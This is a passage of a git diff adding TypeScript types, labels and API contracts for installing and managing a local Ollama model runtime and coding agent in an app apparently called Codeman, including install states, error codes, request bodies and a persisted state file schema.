mutateLocalModelState( + fn: (current: LocalModelStateFile) => LocalModelStateFile | undefined +): Promise<{ before: LocalModelStateFile; after: LocalModelStateFile | undefined }> { + return notImplemented('mutateLocalModelState', fn); +} diff --git a/src/types/index.ts b/src/types/index.ts index 592b28e2..06dda8aa 100644 --- a/src/types/index.ts +++ b/src/types/index.ts @@ -29,7 +29,8 @@ * | plan | PlanItem, PlanTaskStatus, TddPhase | In-memory → `GET /api/sessions/:id/plan/tasks` | * | orchestrator | OrchestratorState, OrchestratorPlan, OrchestratorConfig, OrchestratorPersistState | `~/.codeman/state.json` → `GET /api/orchestrator/status` | * | mcp-sync | McpSyncResult, McpSyncTargetResult | Other CLIs' own config files → `GET`/`POST /api/mcp-sync` | - * | local-model | HardwareFacts, LocalModelCatalog, Candidate, Recommendation, LocalModelStatus, LOCAL_MODEL_LABELS | In-memory only (nothing persisted) → `GET /api/local-model` | + * | local-model | HardwareFacts, LocalModelCatalog, Candidate, Recommendation, RecommendOptions, LOCAL_MODEL_LABELS | In-memory only (nothing persisted) → `GET /api/local-model` | + * | local-model-install | LocalModelStatus, LocalModelInstallView, LocalModelStateFile, LocalModelRuntimePin, LOCAL_MODEL_INSTALL_LABELS | `~/.codeman/local-model.json` → `GET /api/local-model` and its install verbs | * * ## Cross-domain relationship map * @@ -79,3 +80,4 @@ export * from './intent.js'; export * from './foreign-tmux.js'; export * from './mcp-sync.js'; export * from './local-model.js'; +export * from './local-model-install.js'; diff --git a/src/types/local-model-install.ts b/src/types/local-model-install.ts new file mode 100644 index 00000000..5d625d7a --- /dev/null +++ b/src/types/local-model-install.ts @@ -0,0 +1,582 @@ +/** + * @fileoverview Types of the local model INSTALL: the runtime pin, the job's states, steps and + * error codes, the progress, the `install` object of `GET /api/local-model`, the bodies and + * answers of the install verbs, and the shape of the state file. + * + * The read side (hardware, catalogue, recommendation) is in src/types/local-model.ts. This + * file holds `LocalModelStatus`, the whole `data` of the GET, because it joins the two. + * + * Who produces what: + * - `LocalModelRuntimePin`: a compiled constant in src/local-model/runtime.ts. No file, no + * setting and no request can change which binary is downloaded. + * - `LocalModelStateFile`: src/local-model/state-store.ts, the ONE writer of + * `local-model.json` (mode 0600, temp file + rename). + * - `LocalModelInstallView`: src/local-model/install-job.ts (`buildInstallView()`, pure), from + * the state file plus what is live (the runtime child, the developer tools check). + * - `LocalModelStatus` and the verb answers: src/web/routes/local-model-routes.ts. + * + * The HTTP contract. Every route is admin only in multi-user mode (403 `FORBIDDEN`) and + * EXPERIMENTAL like the GET (docs/versioning-policy.md). Every verb answers + * `{ success: true, data: LocalModelInstallView }` with the view AFTER the verb. + * + * | Route | Body | Refusals | + * |----------------------------------|-----------------------------|-------------------------------------------------------| + * | `GET /api/local-model` | none | none (a failed probe is an answer) | + * | `POST /api/local-model/install` | `LocalModelInstallRequest` | 400 not a row the server offers; 409 `job-running`, | + * | | | `already-installed`, `size-changed` | + * | `POST /api/local-model/cancel` | none | 409 `wrong-state` (no job is running) | + * | `POST /api/local-model/resume` | `LocalModelResumeRequest` | 409 `wrong-state` (not paused or failed) | + * | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | 409 `wrong-state` (not installed), `job-running` | + * | `DELETE /api/local-model` | `LocalModelRemoveRequest` | 409 `job-running`, `sessions-open` | + * + * A 409 is the error envelope plus `data: LocalModelConflict`: + * `{ success: false, error, errorCode: 'CONFLICT', data: { reason, message, ... } }`. + * + * The rules of src/types/local-model.ts hold here too: + * 1. A size a person reads travels twice: as bytes and as decimal GB text from `formatGb()` + * (`completedGb`, `totalGb`, `downloadGb`). The browser prints the text and adds or + * divides nothing for display. `mbPerSecond` is the one other unit, decimal MB per second. + * 2. Every sentence the server chooses comes from `LOCAL_MODEL_INSTALL_LABELS`, with its + * numbers and names in `vars`. `{name}` is taken by the translator, so no slot has that name. + * 3. A CLI id is data (`LocalModelInstallView.cli`): the browser passes it on and compares it + * with nothing. What a person reads is `cliLabel`. + */ + +import type { HardwareFacts, Recommendation } from './local-model.js'; + +// ---------- The runtime pin ---------- + +/** + * The one runtime build Codeman downloads and runs. A compiled constant + * (`OLLAMA_RUNTIME_PIN` in src/local-model/runtime.ts): the hash is compared before anything + * is unpacked, so the pin and the hash must come from the same reviewed source file. + */ +export interface LocalModelRuntimePin { + /** The runtime's family. One value today. */ + id: 'ollama'; + /** The release ('0.40.15'). `GET /api/version` of the running runtime must answer it. */ + version: string; + /** Where the archive is downloaded from. https, a fixed release asset. */ + url: string; + /** Size of the archive in bytes. A body that grows past it is refused before the hash is finished. */ + bytes: number; + /** Lowercase hex sha256 of the archive. */ + sha256: string; + /** What the unpacked folder takes on disk, in bytes (measured: about 579 MB). */ + unpackedBytes: number; + /** The oldest macOS major version the runtime supports. */ + minMacosMajor: number; +} + +// ---------- States, steps, codes ---------- + +/** + * Where the install stands. The verb of the flow is the same throughout: install, installing, + * installed. + * - `idle`: nothing is installed and no job exists. + * - `installing`: the one job is running; `step` says where. + * - `paused`: the job stopped at `step` because of Cancel or a server restart. It never + * continues without a click. + * - `failed`: the job stopped at `step` with `error`. + * - `installed`: the model is connected. Whether the runtime runs is `running`, not a state. + * The state table (what is on disk, what a restart and Cancel do, the allowed actions) is + * `INSTALL_STATE_TABLE` in src/local-model/install-job.ts. + */ +export type LocalModelInstallState = 'idle' | 'installing' | 'paused' | 'failed' | 'installed'; + +/** + * The steps of a job, in the order they run. + * - `runtime`: get the pinned runtime (download, compare the hash, unpack), start it, read + * the measured memory budget and judge the chosen model against it. + * - `model`: download the model (the runtime's pull). + * - `verify`: load the model and check it: one tiny chat, the memory and context the runtime + * reports, one tool call. + * - `agent`: install the coding agent. Left out of a job whose coding agent is installed. + * - `connect`: save the connection (the endpoint record and the settings flag). + */ +export type LocalModelInstallStep = 'runtime' | 'model' | 'verify' | 'agent' | 'connect'; + +/** Every step, in order. A job runs these, without `agent` when the coding agent is installed. */ +export const LOCAL_MODEL_INSTALL_STEPS: readonly LocalModelInstallStep[] = [ + 'runtime', + 'model', + 'verify', + 'agent', + 'connect', +]; + +/** + * Why a job failed, or (in state `installed`) what blocks a session. Each code has one + * sentence (`LOCAL_MODEL_ERROR_LABELS`) and one helpful next step (`LOCAL_MODEL_ERROR_NEXT`). + * + * | Code | Raised when | + * |---------------------------|--------------------------------------------------------------------------| + * | `runtime-download-failed` | the archive download still fails after its retries | + * | `runtime-damaged` | the archive's sha256 is not the pinned one (the file was deleted) | + * | `runtime-unpack-failed` | `/usr/bin/tar` failed | + * | `runtime-start-failed` | the runtime was started and never answered `/api/version` | + * | `runtime-stopped` | installed: the runtime crashed and was restarted 3 times, then given up | + * | `port-in-use` | another program listens on the stored port, or no port of the span is free | + * | `disk-full` | a write failed for lack of space | + * | `pull-failed` | the pull still ends on an error line or a cut stream after its retries | + * | `model-not-found` | the registry no longer has this model under this name | + * | `does-not-fit` | the measured budget rules the model out, or the runtime did not put all of it on the GPU | + * | `context-not-applied` | the runtime loaded the model with another context than the chosen one | + * | `load-failed` | the tiny chat that loads the model failed | + * | `no-tool-call` | the tool probe was answered without a tool call with parseable arguments | + * | `probe-unfinished` | the tool probe ended on its token limit, so it proves nothing | + * | `harness-failed` | the coding agent's install command failed, or its binary is still missing | + * | `endpoint-id-taken` | a saved endpoint with our id exists that this feature did not write | + * | `connect-failed` | the endpoint record or the settings flag could not be written | + * | `model-changed` | installed: the model's digest is not the one stored at install time | + * | `internal` | anything unexpected (the exception text is in `detail`) | + */ +export type LocalModelErrorCode = + | 'runtime-download-failed' + | 'runtime-damaged' + | 'runtime-unpack-failed' + | 'runtime-start-failed' + | 'runtime-stopped' + | 'port-in-use' + | 'disk-full' + | 'pull-failed' + | 'model-not-found' + | 'does-not-fit' + | 'context-not-applied' + | 'load-failed' + | 'no-tool-call' + | 'probe-unfinished' + | 'harness-failed' + | 'endpoint-id-taken' + | 'connect-failed' + | 'model-changed' + | 'internal'; + +/** + * The ONE action that helps after an error. The window draws one button for it. + * - `retry`: "Try again". `POST /api/local-model/resume`. + * - `other-port`: "Use another port". `POST /api/local-model/resume` with `newPort: true` + * (state `failed`), or `POST /api/local-model/runtime` with `action: 'start'` and + * `newPort: true` (state `installed`). + * - `next-model`: "Try <model>". Back to the chooser with `error.nextModel` preselected; the + * person confirms its sizes and a new `POST /api/local-model/install` replaces the job. + * Without a `nextModel` the window offers the chooser and Remove. + * - `start`: "Start". `POST /api/local-model/runtime` with `action: 'start'`. + * - `remove`: "Remove". `DELETE /api/local-model`. + */ +export type LocalModelNextStep = 'retry' | 'other-port' | 'next-model' | 'start' | 'remove'; + +/** + * What a client may do in the current state. The view's `actions` lists exactly the ones the + * server would accept right now, so the window shows a button only for those. + * - `install`: `POST /api/local-model/install`. + * - `cancel`: `POST /api/local-model/cancel`. + * - `resume`: `POST /api/local-model/resume`. + * - `start` and `stop`: `POST /api/local-model/runtime`. + * - `remove`: `DELETE /api/local-model`. + * - `start-session`: not a route of this feature: the window starts a session on the endpoint + * `endpointId` with the coding agent `cli`. Offered only while the runtime runs and nothing + * blocks a session. + */ +export type LocalModelAction = 'install' | 'cancel' | 'resume' | 'start' | 'stop' | 'remove' | 'start-session'; + +/** Whether the Mac has the developer tools (git, Python) a coding agent calls. */ +export type LocalModelDeveloperTools = + /** `/usr/bin/xcode-select -p` succeeded. */ + | 'present' + /** It failed: macOS will offer to install the tools the first time an agent needs one. */ + | 'missing' + /** Not macOS, or the check did not answer in time. Nothing is said then. */ + | 'unknown'; + +// ---------- Sentences ---------- + +/** + * Every sentence the server may put into the `install` object or a 409, in English (the i18n + * source language). Like `LOCAL_MODEL_LABELS`: the zh-CN dictionary in src/web/public/i18n.js + * has one entry per value, keyed by this exact text, and the i18n test lists them from here. + * A constant of its own, so the sentences of the recommendation and of the install can be + * listed apart. + * + * | Key | Slots (all text) | + * |------------------------|----------------------------------------------------------------------| + * | `errPortInUse` | `port`: the port number | + * | `errModelNotFound`, `errDoesNotFit`, `errLoadFailed`, `errNoToolCall`, `errProbeUnfinished` | `model`: the model's label | + * | `errContextNotApplied` | `model`; `actual`: the context the runtime reports; `wanted`: the chosen one | + * | `errHarnessFailed` | `cli`: the coding agent's label | + * | `errEndpointIdTaken` | `id`: the endpoint id this feature uses | + * | `conflictSizeChanged` | `size`: the server's own total as decimal GB | + * | `conflictSessionsOpen` | `sessions`: the session names, joined with ', ' | + * + * `developerToolsMissing` is not sent: the view carries `developerTools` and the window prints + * this sentence when it is `missing`. It is here so that its wording has one source. + */ +export const LOCAL_MODEL_INSTALL_LABELS = { + errRuntimeDownloadFailed: + 'The download of the runtime stopped and could not be continued. Check the network connection, then try again.', + errRuntimeDamaged: 'The runtime download was damaged and has been deleted. Try again.', + errRuntimeUnpackFailed: 'The runtime could not be unpacked on this Mac.', + errRuntimeStartFailed: 'The runtime did not start on this Mac.', + errRuntimeStopped: 'The runtime keeps stopping, so Codeman no longer restarts it.', + errPortInUse: 'Port {port} is in use by another program.', + errDiskFull: 'The disk is full. Free up space, then try again.', + errPullFailed: 'The download keeps stopping. The network may be damaging data. Try again or use another network.', + errModelNotFound: '{model} is no longer offered under this name. Update Codeman or pick another model.', + errDoesNotFit: '{model} does not fit in the memory of this Mac after all.', + errContextNotApplied: '{model} loaded with a context of {actual} tokens instead of {wanted}.', + errLoadFailed: '{model} did not load on this Mac.', + errNoToolCall: '{model} loaded but did not call a tool, so a coding agent cannot work with it.', + errProbeUnfinished: 'The check of {model} did not finish.', + errHarnessFailed: '{cli} could not be installed.', + errEndpointIdTaken: + 'A saved model connection named {id} already exists and was not created here. Rename or delete it in App Settings, then try again.', + errConnectFailed: 'Codeman could not save the connection to the model.', + errModelChanged: 'The model on this Mac changed since it was installed. Remove it and install it again.', + errInternal: 'The install stopped on an unexpected error.', + conflictJobRunning: 'An install is already running.', + conflictAlreadyInstalled: 'A model is already installed on this Mac. Remove it first.', + conflictSizeChanged: 'The download is {size} GB now. Check the sizes and confirm again.', + conflictSessionsOpen: 'Sessions are still using this model: {sessions}. Close them first.', + conflictWrongState: 'That is not possible in the current state.', + developerToolsMissing: + 'Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer to install them the first time an agent needs one.', +} as const; + +/** One of the texts in `LOCAL_MODEL_INSTALL_LABELS`. */ +export type LocalModelInstallLabel = (typeof LOCAL_MODEL_INSTALL_LABELS)[keyof typeof LOCAL_MODEL_INSTALL_LABELS]; + +/** A sentence of the install: a text from `LOCAL_MODEL_INSTALL_LABELS` plus the values of its `{placeholder}` slots. */ +export interface LocalModelInstallMessage { + text: LocalModelInstallLabel; + /** Slot values, already formatted as text. Absent when the text has no slot. */ + vars?: Record<string, string>; +} + +/** The sentence of each error code. */ +export const LOCAL_MODEL_ERROR_LABELS: Record<LocalModelErrorCode, LocalModelInstallLabel> = { + 'runtime-download-failed': LOCAL_MODEL_INSTALL_LABELS.errRuntimeDownloadFailed, + 'runtime-damaged': LOCAL_MODEL_INSTALL_LABELS.errRuntimeDamaged, + 'runtime-unpack-failed': LOCAL_MODEL_INSTALL_LABELS.errRuntimeUnpackFailed, + 'runtime-start-failed': LOCAL_MODEL_INSTALL_LABELS.errRuntimeStartFailed, + 'runtime-stopped': LOCAL_MODEL_INSTALL_LABELS.errRuntimeStopped, + 'port-in-use': LOCAL_MODEL_INSTALL_LABELS.errPortInUse, + 'disk-full': LOCAL_MODEL_INSTALL_LABELS.errDiskFull, + 'pull-failed': LOCAL_MODEL_INSTALL_LABELS.errPullFailed, + 'model-not-found': LOCAL_MODEL_INSTALL_LABELS.errModelNotFound, + 'does-not-fit': LOCAL_MODEL_INSTALL_LABELS.errDoesNotFit, + 'context-not-applied': LOCAL_MODEL_INSTALL_LABELS.errContextNotApplied, + 'load-failed': LOCAL_MODEL_INSTALL_LABELS.errLoadFailed, + 'no-tool-call': LOCAL_MODEL_INSTALL_LABELS.errNoToolCall, + 'probe-unfinished': LOCAL_MODEL_INSTALL_LABELS.errProbeUnfinished, + 'harness-failed': LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, + 'endpoint-id-taken': LOCAL_MODEL_INSTALL_LABELS.errEndpointIdTaken, + 'connect-failed': LOCAL_MODEL_INSTALL_LABELS.errConnectFailed, + 'model-changed': LOCAL_MODEL_INSTALL_LABELS.errModelChanged, + internal: LOCAL_MODEL_INSTALL_LABELS.errInternal, +}; + +/** The one helpful next step of each error code. */ +export const LOCAL_MODEL_ERROR_NEXT: Record<LocalModelErrorCode, LocalModelNextStep> = { + 'runtime-download-failed': 'retry', + 'runtime-damaged': 'retry', + 'runtime-unpack-failed': 'retry', + 'runtime-start-failed': 'retry', + 'runtime-stopped': 'start', + 'port-in-use': 'other-port', + 'disk-full': 'retry', + 'pull-failed': 'retry', + 'model-not-found': 'next-model', + 'does-not-fit': 'next-model', + 'context-not-applied': 'retry', + 'load-failed': 'retry', + 'no-tool-call': 'next-model', + 'probe-unfinished': 'retry', + 'harness-failed': 'retry', + 'endpoint-id-taken': 'retry', + 'connect-failed': 'retry', + 'model-changed': 'remove', + internal: 'retry', +}; + +// ---------- The `install` object of the GET ---------- + +/** + * How far a download is. Present while the `runtime` step downloads the archive and while the + * `model` step pulls, once the total is known; kept on a paused or failed job as it stood. + * During the `model` step both byte figures come from the pull's own lines, never from the + * catalogue. + */ +export interface LocalModelProgress { + completedBytes: number; + totalBytes: number; + /** `completedBytes` as decimal GB text, no unit ('6.2'). */ + completedGb: string; + /** `totalBytes` as decimal GB text, no unit ('23.1'). */ + totalGb: string; + /** Download speed. Absent until it can be told (the first moments, a paused job). */ + bytesPerSecond?: number; + /** `bytesPerSecond` as whole decimal megabytes per second, no unit ('58'). Present exactly when `bytesPerSecond` is. */ + mbPerSecond?: string; + /** Seconds left at the current speed, rounded up. Absent when the speed is unknown or 0. */ + secondsLeft?: number; +} + +/** An error as the window shows it: the sentence, the one action that helps, and the raw detail. */ +export interface LocalModelInstallError { + code: LocalModelErrorCode; + /** `LOCAL_MODEL_ERROR_LABELS[code]` with its slots filled. */ + message: LocalModelInstallMessage; + /** `LOCAL_MODEL_ERROR_NEXT[code]`. */ + next: LocalModelNextStep; + /** + * For `next-model`: the best model that still fits and is not the one that failed. Absent + * when there is none. + */ + nextModel?: { modelId: string; modelLabel: string }; + /** + * Raw text for the person who wants to know more: the last lines of an installer, the + * message of a refused write, an exception. Not translated; printed with `textContent`. + */ + detail?: string; +} + +/** The model of the job or of the installation. */ +export interface LocalModelInstalledModel { + /** `LocalModelEntry.id`. */ + id: string; + /** `LocalModelEntry.label`. */ + label: string; +} + +/** The runtime, as the consent screen needs it. */ +export interface LocalModelRuntimeView { + /** `LocalModelRuntimePin.version`. */ + version: string; + /** The pinned runtime is unpacked on disk. Then an install downloads only the model. */ + installed: boolean; + /** What an install would download for the runtime: the archive size, 0 when `installed`. */ + downloadBytes: number; + /** `downloadBytes` as decimal GB text, no unit ('0.2'). */ + downloadGb: string; + /** What the unpacked runtime takes on disk, as decimal GB text, no unit ('0.6'). */ + unpackedGb: string; +} + +/** What the runtime reported about the loaded model when the job checked it. The facts of the Done line. */ +export interface LocalModelLoadedFacts { + /** The context length in tokens the runtime loaded the model with. */ + context: number; + /** Memory the loaded model took, in bytes (`size` of the runtime's process list). */ + memoryBytes: number; + /** `memoryBytes` as decimal GB text, no unit. */ + memoryGb: string; + /** All of it is on the GPU (`size_vram` equals `size`). Always true after a job that passed. */ + onGpu: boolean; +} + +/** + * The `install` object of `GET /api/local-model`: where the install stands and what can be + * done about it. The window polls it once a second while it is open; there is no SSE event. + * + * Which members are present, by state: + * + * | Member | idle | installing | paused | failed | installed | + * |-----------------------------------|------|------------|--------|--------|-----------| + * | `step`, `steps` | | yes | yes | yes | | + * | `progress` | | during a download | as it stood, when known | as it stood, when known | | + * | `error` | | | | yes | only when something blocks a session | + * | `model`, `cli`, `cliLabel`, `context` | | yes | yes | yes | yes | + * | `port` | | once chosen | once chosen | once chosen | yes | + * | `loaded`, `endpointId` | | | | | yes | + * + * `running`, `developerTools`, `runtime`, `folder` and `actions` are always present. + */ +export interface LocalModelInstallView { + state: LocalModelInstallState; + /** The step the job is in, or stopped in. */ + step?: LocalModelInstallStep; + /** The steps of THIS job in order, for the step list (`agent` is absent when the coding agent was already installed). */ + steps?: LocalModelInstallStep[]; + progress?: LocalModelProgress; + error?: LocalModelInstallError; + model?: LocalModelInstalledModel; + /** The coding agent: a CLI registry id, as data. */ + cli?: string; + /** The coding agent's display label ('OpenCode'). */ + cliLabel?: string; + /** The context length in tokens the runtime is started with. */ + context?: number; + /** The loopback port of the runtime. */ + port?: number; + /** The runtime child Codeman started is alive right now. */ + running: boolean; + developerTools: LocalModelDeveloperTools; + runtime: LocalModelRuntimeView; + /** The absolute folder everything of this feature is kept in, for the "where it goes" line. */ + folder: string; + loaded?: LocalModelLoadedFacts; + /** The id of the saved endpoint a session is started on. */ + endpointId?: string; + /** What the server accepts right now, see `LocalModelAction`. */ + actions: LocalModelAction[]; +} + +/** + * The `data` of `GET /api/local-model`. Admin only in multi-user mode. + * + * `install` is optional in the type only until the route emits it: from the stage that ships + * the install verbs on it is always present. + */ +export interface LocalModelStatus { + hardware: HardwareFacts; + recommendation: Recommendation; + /** `LocalModelCatalog.updated`. */ + catalogUpdated: string; + install?: LocalModelInstallView; +} + +// ---------- Request bodies and answers ---------- + +/** + * Body of `POST /api/local-model/install`. The three choices must name a row the server offers + * right now: a model of `recommendation.pick` or `recommendation.alternatives`, at that + * candidate's `context`, with one of its `harnesses`. Anything else is a 400 before any + * download. + */ +export interface LocalModelInstallRequest { + /** `Candidate.modelId`. */ + modelId: string; + /** `CandidateHarness.cli`. */ + cli: string; + /** `Candidate.context`. */ + context: number; + /** + * The total the person saw and confirmed: `Candidate.installBytes`. The server compares it + * with its own total and answers 409 `size-changed` when they differ, so a consent is bound + * to the size that was shown. + */ + acknowledgedBytes: number; +} + +/** Body of `POST /api/local-model/resume`. May be absent or empty. */ +export interface LocalModelResumeRequest { + /** True: choose another port first (the answer to `port-in-use`). */ + newPort?: boolean; +} + +/** Body of `POST /api/local-model/runtime`. */ +export interface LocalModelRuntimeRequest { + /** `stop` also keeps the runtime from being started at the next boot; `start` undoes that. */ + action: 'start' | 'stop'; + /** With `start`: choose another port first (the answer to `port-in-use`), and move the saved endpoint to it. */ + newPort?: boolean; +} + +/** Body of `DELETE /api/local-model`. May be absent or empty. */ +export interface LocalModelRemoveRequest { + /** True: delete the downloaded model too. Default false: the model stays for a later install. */ + removeModel?: boolean; +} + +/** What every verb answers on success: the view after the verb. */ +export type LocalModelVerbAnswer = LocalModelInstallView; + +/** + * Why a verb was refused with 409. + * - `job-running`: a job is running (a second install, a resume, a remove or a runtime action). + * - `already-installed`: install while a model is installed. Remove it first. + * - `size-changed`: `acknowledgedBytes` is not the server's total; `expectedBytes` and + * `expectedGb` carry that total, so the window can show it and ask again. + * - `sessions-open`: remove while live sessions use the endpoint; `sessions` names them. + * - `wrong-state`: the verb makes no sense in the current state (see the route table above). + */ +export type LocalModelConflictReason = + | 'job-running' + | 'already-installed' + | 'size-changed' + | 'sessions-open' + | 'wrong-state'; + +/** The `data` of a 409 of an install verb. */ +export interface LocalModelConflict { + reason: LocalModelConflictReason; + /** The sentence for the window (`conflict...` of `LOCAL_MODEL_INSTALL_LABELS`). */ + message: LocalModelInstallMessage; + /** `size-changed`: the server's own total in bytes. */ + expectedBytes?: number; + /** `size-changed`: `expectedBytes` as decimal GB text, no unit. */ + expectedGb?: string; + /** `sessions-open`: the names of the live sessions that use the endpoint. */ + sessions?: string[]; +} + +// ---------- The state file ---------- + +/** + * `local-model.json` in the data dir: everything that must survive a restart. Mode 0600, + * written through a temp file and a rename, by src/local-model/state-store.ts alone. + * + * Rules: + * - It holds NO path. Every path of this feature is built from `dataPath()` constants + * (`localModelPaths()`), so a state file can never point a delete somewhere else. + * - Reading is total: a missing file, a file that does not parse or one with another `schema` + * reads as `{ schema: 1, state: 'idle' }`. + * - A file read at boot with state `installing` is a job a restart interrupted: it becomes + * `paused` before anything else looks at it. + */ +export interface LocalModelStateFile { + schema: 1; + state: LocalModelInstallState; + /** The step the job is in or stopped in. Absent in `idle` and `installed`. */ + step?: LocalModelInstallStep; + /** The steps of the job, in order. Absent in `idle` and `installed`. */ + steps?: LocalModelInstallStep[]; + /** State `failed`: why. State `installed`: absent (a blocking problem is found live, never stored). */ + error?: { + code: LocalModelErrorCode; + /** The slot values of the code's sentence. */ + vars?: Record<string, string>; + detail?: string; + /** For a `next-model` code: the model to offer, when the job knew one. */ + nextModelId?: string; + }; + /** The model of the job or of the installation. */ + model?: { + id: string; + label: string; + /** The context length in tokens the person chose. */ + context: number; + /** The total the pull reported, once known. */ + pullBytes?: number; + /** The digest `/api/tags` reported after the pull. Compared again at boot and before a session starts. */ + digest?: string; + }; + /** The coding agent of the job or of the installation. */ + cli?: { id: string; label: string }; + /** The runtime, once its port was chosen. */ + runtime?: { + /** The pinned version that was unpacked. */ + version: string; + /** The loopback port, chosen once by binding. */ + port: number; + /** The pid of the child Codeman last started. Used at boot to tell our own orphan from another program. */ + pid?: number; + /** False after Stop: the runtime is not started at boot. */ + enabled: boolean; + /** The device total the runtime printed when it started, in bytes. */ + measuredTotalBytes?: number; + }; + /** How far the last download was when the job paused or failed. A restart may leave it absent. */ + progress?: { completedBytes: number; totalBytes: number }; + /** What the runtime reported when the job checked the loaded model. */ + loaded?: { context: number; sizeBytes: number; sizeVramBytes: number }; + /** Present once the `connect` step wrote: what uninstall must undo. */ + connection?: { + /** The id of the endpoint record this feature wrote. */ + endpointId: string; + /** The value `customModelEndpointsEnabled` had before this feature switched it on. */ + flagWasEnabled: boolean; + }; + /** ISO time of the last write. */ + updatedAt?: string; +} diff --git a/src/types/local-model.ts b/src/types/local-model.ts index 8b8cfc75..3db7709e 100644 --- a/src/types/local-model.ts +++ b/src/types/local-model.ts @@ -1,9 +1,12 @@ /** * @fileoverview Types of the hardware-aware local model recommendation: what the server sees of - * this Mac, the catalogue of models and harnesses, and the answer of `GET /api/local-model`. + * this Mac, the catalogue of models and harnesses, and the recommendation part of the answer of + * `GET /api/local-model`. * - * This stage is read-only: Codeman looks at the Mac and recommends. It downloads nothing, - * installs nothing and writes no file. + * Everything here is the READ side: Codeman looks at the Mac and recommends. The types of the + * install (the job states, the progress, the `install` object of the GET, the request bodies, + * the state file, the runtime pin) and `LocalModelStatus`, the whole `data` of the GET, are in + * src/types/local-model-install.ts. Both files go out through the barrel (`../types.js`). * * Who produces what: * - `HardwareFacts`: src/local-model/hardware.ts (one bounded `sysctl` spawn, never throws). @@ -11,7 +14,11 @@ * - `HarnessFact`: src/local-model/harness-facts.ts (server only, read from the CLI registry at * call time; it holds a function, so it never goes over HTTP). * - `Recommendation`, `Candidate`, `DeviceBudget`: src/local-model/recommend.ts (pure). - * - `LocalModelStatus`: src/web/routes/local-model-routes.ts (the `data` of the GET). + * + * Fields marked "Stage 2" were added for the install. They are OPTIONAL in the type only so + * that the stage 1 catalogue and `recommend()` keep compiling until their owner fills them: + * once `recommend()` and the catalogue rows carry them, they become required, and a consumer + * (the chooser window, the install job) may rely on every one of them. * * Three rules every producer and consumer follows: * @@ -100,6 +107,13 @@ export interface TestedOn { cli: string; /** ISO date of the test ('2026-11-06'). */ date: string; + /** + * Stage 2. The generation speed measured in that test, in tokens per second (67.7 for the + * 2026-11-06 run on an Apple M5 Pro with 48 GB). A candidate that matches this entry reports + * this figure as `Candidate.tokensPerSecond` in place of the estimate from the chip's memory + * bandwidth: a measurement on the same Mac beats a formula. + */ + tokensPerSecond?: number; } /** One model of the catalogue. */ @@ -112,10 +126,42 @@ export interface LocalModelEntry { license: string; /** Parameter count in billions. When no model that fits has 12 or more, the verdict is `limited`, never `ok`. */ paramsB: number; - /** Size of the weights in bytes: both the download and what they take in memory. */ + /** + * Size of the weights in bytes: both the download and what they take in memory. + * + * Stage 2: the size of the build the runtime really downloads ON A MAC. That is not always + * the sum of the registry manifest: `qwen3.6:35b-a3b` is an MLX build of 23,105,798,956 bytes + * on Apple silicon, 2% more than the manifest's 22,621,314,161. A row whose Mac size nobody + * measured keeps the manifest sum and says so in `figures`. + */ bytes: number; - /** Bytes of KV cache one token of context costs. */ + /** + * Stage 1 figure: the bytes of KV cache one token of context costs, COMPUTED from the model's + * config. Measured on a Mac it was too low by almost half (20 KiB against about 37 KB held), + * so the need is computed from `heldBytesPerToken` once that is filled. Kept only until + * `recommend()` stops reading it; it is deleted together with `promptCacheTiers` then. + */ kvBytesPerToken: number; + /** + * Stage 2. Bytes that stay HELD in memory per token of context once the token was processed + * (measured on the MLX runner: 36,000 to 38,000, so about 37,000). + */ + heldBytesPerToken?: number; + /** Stage 2. What the runner holds beside the weights and the context (measured: about 3 GB). */ + overheadBytes?: number; + /** + * Stage 2. The TRANSIENT extra the runner takes while it processes a long prompt, on top of + * what stays held (measured: about 5 GB). The fit is judged on the peak: + * `bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`. For + * `qwen3.6:35b-a3b` at 131072 tokens that is about 36 GB, which is tight on a 48 GB Mac. + */ + peakExtraBytes?: number; + /** + * Stage 2. Where `bytes` and the three memory figures above come from: `measured` on a Mac by + * us, or `estimated` (the manifest size, and the per-token, overhead and peak figures of the + * measured row applied to this one). + */ + figures?: 'measured' | 'estimated'; /** Context lengths (tokens) the model may be run at, largest first. */ contexts: number[]; /** Preference among models that fit: the HIGHER rank wins. A judgement, not a measurement. */ @@ -194,6 +240,13 @@ export interface HarnessFact { installed: boolean; /** Not installed, but the registry has an install command for this platform that needs no administrator rights. */ installable: boolean; + /** + * Stage 2. The literal install command the install job would run for this CLI: the STOCK + * command of the CLI registry for this platform, never one a `clis.json` override supplies. + * Present exactly when `installable` is true. The consent screen prints it + * (`CandidateHarness.installCommand`). + */ + installCommand?: string; /** Whether this CLI can be launched with that model id (its command-line pattern accepts it). */ acceptsModelId: (modelId: string) => boolean; } @@ -223,18 +276,54 @@ export type SpeedGrade = 'ok' | 'slow' | 'unknown'; */ export type NoneReason = 'not-macos' | 'intel' | 'memory' | 'disk' | 'macos' | 'no-harness'; -/** Where the device budget came from: a formula (`estimated`) or `iogpu.wired_limit_mb` above 0 (`wired-limit`). */ -export type BudgetSource = 'estimated' | 'wired-limit'; +/** + * Where the device budget came from. + * - `estimated`: a formula over the installed memory. All there is before the runtime ran. + * - `wired-limit`: `iogpu.wired_limit_mb` above 0. + * - `measured` (stage 2): the device total the runtime itself printed when it started + * (`RecommendOptions.measuredTotalBytes`). The chooser says "estimated" next to the memory + * bar for the first value only. + */ +export type BudgetSource = 'estimated' | 'wired-limit' | 'measured'; /** The memory a model may use on this Mac. */ export interface DeviceBudget { - /** L: the wired limit when above 0, else 2/3 of memory below 36 GB and 3/4 from 36 GB. */ + /** + * L: the measured device total when there is one, else the wired limit when above 0, else + * 2/3 of memory below 36 GB and 3/4 from 36 GB. + */ limitBytes: number; - /** B = min(L - 1 GiB, memory - reserve). What `Candidate.budgetShare` is measured against. */ + /** + * What `Candidate.budgetShare` is measured against. Estimated or from the wired limit: + * B = min(L - 1 GiB, memory - reserve). Measured: B = min(L, memory - reserve), without the + * 1 GiB, because the runtime's figure is already what it will really use (37.4 GiB on the + * 48 GB test Mac, which reads '40.2'). + */ budgetBytes: number; source: BudgetSource; } +/** + * Stage 2. What the caller of `recommend()` knows beyond the hardware probe. Both members are + * optional and an empty object is the stage 1 behaviour. + */ +export interface RecommendOptions { + /** + * The device total the runtime reported in its log line "inference compute" + * (`total="37.4 GiB"`), in bytes: `parseInferenceComputeTotal()` in + * src/local-model/runtime.ts. Present: the budget is `measured`. The install job passes it + * right after the runtime started, before the model is downloaded, and the GET passes the + * stored figure from then on. + */ + 